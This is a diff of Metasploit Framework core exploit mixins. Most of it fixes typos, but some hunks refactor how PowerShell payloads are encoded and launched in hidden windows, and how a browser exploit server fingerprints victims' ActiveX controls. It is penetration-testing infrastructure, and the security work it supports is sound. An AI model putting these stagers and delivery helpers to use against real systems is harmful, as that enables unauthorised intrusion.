network_addresses = read_array(body, network_addresses_offset, true)
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
# skiped directory names
#Error catching for offset issues on this field. Need better error ahndling all through here
# skipped directory names
#Error catching for offset issues on this field. Need better error handling all through here
begin
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
rescue
@ -289,7 +289,7 @@ module Exploit::Remote::AFP
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
when 2 # Four-byte IP address followed by a two-byte port number
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
when 3 # DDP address (depricated)
when 3 # DDP address (deprecated)
next
when 4 # DNS name (maximum of 254 bytes)
parsed_addreses << address[1..address.length - 1]

View File

@ -5,7 +5,7 @@ module Msf
#
# This module provides methods for sending and receiving
# raw packets. It should be preferred over the soon-to-be
# deprecated Rex::Socket::Ip and Msf::Exploite::Remote::Ip
# deprecated Rex::Socket::Ip and Msf::Exploit::Remote::Ip
# mixins.
#
# Please see the pcaprub documentation for more information
@ -379,7 +379,7 @@ module Msf
self.arp_cache = {}
end
# For compatabilty with Msf::Exploit::Remote::Ip
# For compatibilty with Msf::Exploit::Remote::Ip
def rhost
datastore['RHOST']
end
@ -450,7 +450,7 @@ module Msf
end
end
# This function is usefull only on windows where pcaprub use the GUID
# This function is useful only on windows where pcaprub use the GUID
def get_interface_guid(dev)
check_pcaprub_loaded
if RUBY_PLATFORM == "i386-mingw32"
@ -473,7 +473,7 @@ module Msf
dev = get_interface_guid(dev)
addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Can not get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
raise RuntimeError, "Cannot get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
addrs[NetworkInterface::AF_LINK][0]['addr']
end
@ -491,7 +491,7 @@ module Msf
addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
raise RuntimeError, "Cannot get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
addrs[NetworkInterface::AF_INET][num]['addr']
end
@ -501,7 +501,7 @@ module Msf
addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
raise RuntimeError, "Cannot get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
addrs[NetworkInterface::AF_INET][num]['netmask']
end
@ -511,7 +511,7 @@ module Msf
addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
raise RuntimeError, "Can not get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
raise RuntimeError, "Cannot get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
addrs[NetworkInterface::AF_INET][num]['broadcast']
end
@ -532,7 +532,7 @@ module Msf
addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
raise RuntimeError, "Can not get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
raise RuntimeError, "Cannot get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '')
end
@ -543,7 +543,7 @@ module Msf
addrs = NetworkInterface.addresses(dev)
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
raise RuntimeError, "Can not get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
raise RuntimeError, "Cannot get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
addrs[NetworkInterface::AF_INET6][num]['netmask']
end

View File

@ -108,7 +108,7 @@ module Exploit::CmdStager
# @option opts :decoder [Symbol] The decoder stub to use.
# @param pl [String] String containing the payload to execute
# @return [Array] The list of commands to execute
# @raise [ArgumentError] raised if the cmd stub can not be generated
# @raise [ArgumentError] raised if the cmd stub cannot be generated
def generate_cmdstager(opts = {}, pl = nil)
select_cmdstager(opts)
@ -138,12 +138,12 @@ module Exploit::CmdStager
# Selects the correct cmd stager and decoder stub to use
#
# @param opts [Hash] Hash containing the options to select te correct cmd
# @param opts [Hash] Hash containing the options to select the correct cmd
# stager and decoder.
# @option opts :flavor [Symbol] The cmd stager to use.
# @option opts :decoder [Symbol] The decoder stub to use.
# @return [void]
# @raise [ArgumentError] raised if a cmd stager can not be selected or it
# @raise [ArgumentError] raised if a cmd stager cannot be selected or it
# isn't compatible with the target platform.
def select_cmdstager(opts = {})
self.flavor = select_flavor(opts)
@ -188,11 +188,11 @@ module Exploit::CmdStager
# user through datastore options, (3) select the default decoder for the
# current cmd stager flavor if available.
#
# @param opts [Hash] Hash containing the options to select te correct
# @param opts [Hash] Hash containing the options to select the correct
# decoder.
# @option opts :decoder [String] The decoder stub to use.
# @return [String] The decoder.
# @return [nil] if a decoder can not be selected.
# @return [nil] if a decoder cannot be selected.
def select_decoder(opts = {})
return opts[:decoder] if opts.include?(:decoder)
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
@ -203,11 +203,11 @@ module Exploit::CmdStager
# flavor provided in options, (2) use the flavor provided by the user
# through datastore options, (3) guess the flavor using the target platform.
#
# @param opts [Hash] Hash containing the options to select te correct cmd
# @param opts [Hash] Hash containing the options to select the correct cmd
# stager
# @option opts :flavor [Symbol] The cmd stager flavor to use.
# @return [Symbol] The flavor to use.
# @return [nil] if a flavor can not be selected.
# @return [nil] if a flavor cannot be selected.
def select_flavor(opts = {})
return opts[:flavor].to_sym if opts.include?(:flavor)
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
@ -220,7 +220,7 @@ module Exploit::CmdStager
# target or platform.
#
# @return [Symbol] The cmd stager flavor to use.
# @return [nil] if the cmd stager flavor can not be guessed.
# @return [nil] if the cmd stager flavor cannot be guessed.
def guess_flavor
# First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil?
@ -252,7 +252,7 @@ module Exploit::CmdStager
end
# Returns all the compatible stager flavors specified by the module and each
# of it's targets.
# of its targets.
#
# @return [Array] the list of all compatible cmd stager flavors.
def module_flavors

View File

@ -54,7 +54,7 @@ module Exploit::FileDropper
# We need to be platform-independent here. Since we can't be
# certain that {#target} is accurate because exploits with
# automatic targets frequently change it, we just go ahead and
# run both a windows and a unixy command in the same line. One
# run both a windows and a unix command in the same line. One
# of them will definitely fail and the other will probably
# succeed. Doing it this way saves us an extra round-trip.
# Trick shared by @mihi42

View File

@ -238,7 +238,7 @@ module Exploit::FormatString
# no need to advance :)
return "" if prec == 0
# asumming %x max normal length is 8...
# assuming %x max normal length is 8...
if prec >= 8
return "%0" + prec.to_s + "x"
end

View File

@ -211,7 +211,7 @@ module Exploit::Remote::Ftp
# dispatch to the proper method
if (type == "get")
# failed listings jsut disconnect..
# failed listings just disconnect..
begin
data = self.datasocket.get_once(-1, ftp_timeout)
rescue ::EOFError

View File

@ -24,7 +24,7 @@ module Exploit::Remote::Gdb
# thrown when a checksum is invalid
class BadChecksumError < RuntimeError; end
# Default list of supported GDB features to send the to the target
# Default list of supported GDB features to send them to the target
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
# Maps index of register in GDB that holds $PC to architecture

View File

@ -229,7 +229,7 @@ module Exploit::Remote::HttpServer
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
add_resource(uopts)
@ -305,7 +305,7 @@ module Exploit::Remote::HttpServer
when /opera\/(\d+(:?\.\d+)*)/
fp[:ua_name] = HttpClients::OPERA
fp[:ua_ver] = $1
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i
fp[:ua_name] = HttpClients::IE
fp[:ua_ver] = $1
else
@ -453,7 +453,7 @@ module Exploit::Remote::HttpServer
# Returns the last-used resource path
#
def get_resource
# We don't want modules modifying their service_path inadvertantly, so
# We don't want modules modifying their service_path inadvertently, so
# give them a dup. Can be nil during module setup.
@service_path ? @service_path.dup : nil
end

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
###
#
# This mixn provides methods for interacting with a JDK installation to perform
# This mixin provides methods for interacting with a JDK installation to perform
# functions such as dynamic compilation and jar signing.
#
# Dependencies:
@ -108,7 +108,7 @@ module Exploit::Java
if classnames.class == [].class && codez.class == [].class
# default compile class
begin
# Sames as java_compiler_klass.CompileFromMemory( String[] classnames,
# Same as java_compiler_klass.CompileFromMemory( String[] classnames,
# String[] codez, String[] compilerOptions)
success = java_compiler_klass._invoke('CompileFromMemory',
# Signature explained: [ means array, Lpath.to.object; means object

View File

@ -134,7 +134,7 @@ module Exploit::Remote::MSSQL_SQLI
end
#
# Issue a SQL query using the the SQL injection point
# Issue a SQL query using the SQL injection point
#
def mssql_query(sqla, doprint=false)

View File

@ -92,7 +92,7 @@ module Exploit::Remote::NDMP
self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' )
end
# If we did not recieve a full length value, return early
# If we did not receive a full length value, return early
if (self.recv_buff.length < 4)
return false
end

View File

@ -10,7 +10,7 @@ module Msf
###
#
# This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm .
# Unfortunatly other mixin's still have to make direct call from lib/rex/proto/ntlm
# Unfortunately other mixin's still have to make direct call from lib/rex/proto/ntlm
# cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit
#
###

View File

@ -100,7 +100,7 @@ module Exploit::ORACLE
# The Handling is a little different for certain types of query
# Mainly Select needs a fetch statement to get the data
# Also return types are a little different (some return rows changed so we can used that)
# The case statement could probaby be collapsed a bit but leaving it as is for the moment
# The case statement could probably be collapsed a bit but leaving it as is for the moment
# in case it's useful later...
# Select Queries

View File

@ -218,7 +218,7 @@ module Exploit::PDF
end
##
#Controller funtion, should be entrypoint for pdf exploits
#Controller function, should be entrypoint for pdf exploits
##
def create_pdf(js)
strFilter = ""

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
###
#
# This module provides methods for parseing and interacting
# This module provides methods for parsing and interacting
# with the PDF format.
#
###

View File

@ -205,7 +205,7 @@ module Exploit::Remote::Postgres
# result of "select version()" if authentication was successful.
#
# @return [Hash] A hash containing the version in one of the keys :preauth,
# :auth, or :unkown, depending on how it was determined
# :auth, or :unknown, depending on how it was determined
# @see #postgres_authed_fingerprint
# @see #analyze_auth_error
def postgres_fingerprint(args={})

View File

@ -1,10 +1,8 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell'
require 'rex/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_advanced_options(
@ -27,15 +25,13 @@ module Exploit::Powershell
#
# @return [String] Encoded script
def encode_script(script_in)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
opts[mod_method.to_sym] = true
end
psh.encode_code
Rex::Powershell::Command.encode_script(script_in, opts)
end
#
@ -46,16 +42,14 @@ module Exploit::Powershell
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
def compress_script(script_in, eof=nil)
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
opts[mod_method.to_sym] = true
end
psh.compress_code(eof)
Rex::Powershell::Command.compress_script(script_in, eof, opts)
end
#
@ -69,19 +63,7 @@ module Exploit::Powershell
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
Rex::Powershell::Command.generate_psh_command_line(opts)
end
#
@ -122,66 +104,7 @@ module Exploit::Powershell
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
Rex::Powershell::Command.generate_psh_args(opts)
end
#
@ -196,41 +119,15 @@ module Exploit::Powershell
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden',
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
ps_args = generate_psh_args(arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
end
#
@ -263,118 +160,28 @@ EOS
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
elsif opts[:prepend_sleep].to_i < 0
vprint_error('Sleep time must be greater than or equal to 0 seconds')
end
end
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
command = Rex::Powershell::Command.cmd_psh_payload(pay,
payload_arch,
template_path,
opts)
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
include Rex::Powershell::PshMethods
end
end
end

View File

@ -49,24 +49,30 @@ module Msf
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([
:source, # Either 'script' or 'headers'
:ua_name, # Example: MSIE
:ua_ver, # Example: 8.0, 9.0
:os_name, # Example: Windows 7, Linux
:os_device, # Example: iPad, iPhone, etc
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
:os_sp, # Example: SP2
:language, # Example: en-us
:arch, # Example: x86
:proxy, # 'true' or 'false'
:silverlight, # 'true' or 'false'
:office, # Example: "2007", "2010"
:java, # Example: 1.6, 1.6.0.0
:clsid, # ActiveX clsid. Also requires the :method key
:method, # ActiveX method. Also requires the :clsid key
:mshtml_build, # mshtml build. Example: "65535"
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
:source, # Return either 'script' or 'headers'
:ua_name, # Example: Returns 'MSIE'
:ua_ver, # Example: Returns '8.0', '9.0'
:os_name, # Example: Returns 'Windows 7', 'Linux'
:os_device, # Example: Returns 'iPad', 'iPhone', etc
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
:os_sp, # Example: Returns 'SP2'
:language, # Example: Returns 'en-us'
:arch, # Example: Returns 'x86'
:proxy, # Returns 'true' or 'false'
:silverlight, # Returns 'true' or 'false'
:office, # Example: Returns "2007", "2010"
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
:mshtml_build, # mshtml build. Example: Returns "65535"
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case.
# When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# Also see: #has_bad_activex?
:activex
])
def initialize(info={})
@ -105,68 +111,61 @@ module Msf
super
end
#
# Returns the custom 404 URL set by the user
#
# @return [String]
#
def get_custom_404_url
datastore['Custom404'].to_s
end
#
# Allows a block of code to access BES resources in a thread-safe fashion
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end
#
# Returns the absolute URL to the module's resource that points to on_request_exploit
#
# @return [String] absolute URI to the exploit page
#
def get_module_uri
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Returns the current target
#
def get_target
@target
end
#
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
#
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
#
def try_set_target(profile)
match_counts = []
target_requirements = {}
@ -195,30 +194,36 @@ module Msf
end
end
#
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
end
end
false
end
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
def get_bad_requirements(profile)
bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :vuln_test
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
elsif k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v
@ -232,7 +237,6 @@ module Msf
bad_reqs
end
#
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie_name' =>
# {
@ -253,7 +257,7 @@ module Msf
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
# 'java' : The Java version
# 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version
@ -261,45 +265,41 @@ module Msf
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
#
# Initializes a profile, if it did not previously exist
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles[tag] ||= {}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(cli, request)
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
@ -317,13 +317,12 @@ module Msf
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request)
init_profile(tag)
@ -361,23 +360,21 @@ module Msf
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
#
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
@ -418,11 +415,20 @@ module Msf
d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
activex = @requirements[:activex]
if activex
activex.each do \|a\|
clsid = a[:clsid]
method = a[:method]
%>
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = "";
if (ax == true) {
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
} else {
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
}
<% end %>
<% end %>
<% end %>
@ -438,7 +444,7 @@ module Msf
%Q|
<script>
#{js}
#{code}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
@ -462,12 +468,11 @@ module Msf
cookie
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when '/', get_resource.chomp("/")
@ -548,18 +553,17 @@ module Msf
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
@ -567,7 +571,6 @@ module Msf
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
@ -578,13 +581,12 @@ module Msf
send_response(cli, html, headers)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
@ -618,9 +620,8 @@ module Msf
private
#
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
#
# Sends a 404 response. If a custom 404 is configured, then it will redirect to that instead.
def send_not_found(cli)
custom_404_url = get_custom_404_url
if custom_404_url.blank?

View File

@ -3,6 +3,7 @@ require 'rex/proto/smb'
require 'rex/proto/ntlm'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
require 'recog'
module Msf
module Exploit::Remote::SMB
@ -45,7 +46,7 @@ module Msf
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),

View File

@ -35,7 +35,7 @@ module Exploit::Remote::SMB::Client::Psexec
